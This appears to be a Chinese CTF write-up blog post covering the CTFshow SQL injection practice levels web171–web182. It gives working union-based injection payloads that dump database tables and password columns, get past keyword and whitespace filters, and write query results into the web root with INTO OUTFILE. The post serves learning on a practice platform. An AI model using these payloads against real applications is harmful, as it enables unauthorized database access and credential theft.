[CTFSHOW][WEB入门] SQL注入

 web171

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

# 确定回显列数 

-1' union select NULL,NULL,NULL--+

 # 查询当前数据库中表

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+

# 查询列名

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='ctfshow_user'--+

# 查看表中内容

-1' union select id,username,password from ctfshow_user--+

web172

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

增加过滤

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

 # 确定回显列数 

-1' union select NULL,NULL--+

# 查询当前数据库中表

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+

 # 查询列名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='ctfshow_user2'--+

 # 查看表中内容

不返回username列就行了。

-1' union select id,password from ctfshow_user2--+

web173

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

增加过滤

//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

 使用to_base64() 或者hex()绕过检查

-1' union select id,to_base64(username),hex(password) from ctfshow_user3--+

可以使用burpsuite中自带的decoder解码。

web174

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

增加过滤

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

 使用REPLACE()将数字替换为字符串,将关键字替换掉。

-1' union select REPLACE(username,'g','a'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'0','numa'),'1','numb'),'2','numc'),'3','numd'),'4','nume'),'5','numf'),'6','numg'),'7','numh'),'8','numi'),'9','numj') from ctfshow_user4 --+

写个脚本替换一下

import sys
str = sys.argv[1]
print(str.replace("numa",'0')
	     .replace("numb",'1')
	     .replace("numc",'2')
	     .replace("numd",'3')
	     .replace("nume",'4')
	     .replace("numf",'5')
	     .replace("numg",'6')
	     .replace("numh",'7')
	     .replace("numi",'8')
	     .replace("numj",'9'))

web175

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

增加过滤

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

将读取文件写入web目录

-1' union select username , password from ctfshow_user5 into outfile '/var/www/html/test.txt' --+

web176

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

现在是过滤输入了

function waf($str){
    return str_replace('select', 'ctfshow', $str);
}

大小写绕过即可

-1' union sElect id,username,password from ctfshow_user--+

web177

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

过滤输入

function waf($str){
    return preg_match('/ /', $str);
}

使用注释符/**/绕过

-1'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user%23

web178

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

过滤输入

function waf($str){
    return preg_match('/ |\*/', $str);
}

使用%09绕过 

-1'%09union%09select%09id,username,password%09from%09ctfshow_user%09where%09username="flag"%23

web179

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

过滤输入

function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\0x0c|\x00|\x0d|\xa0/', $str);
}

没有过滤掉%0c 

-1'%0cunion%0cselect%0cid,username,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23

web180-web182

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

过滤得比较严了,%23也过滤掉了,采用另一种方式绕过。

参考Y4tacker师傅的方法

'or(id=26)and'1'='1

web183

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值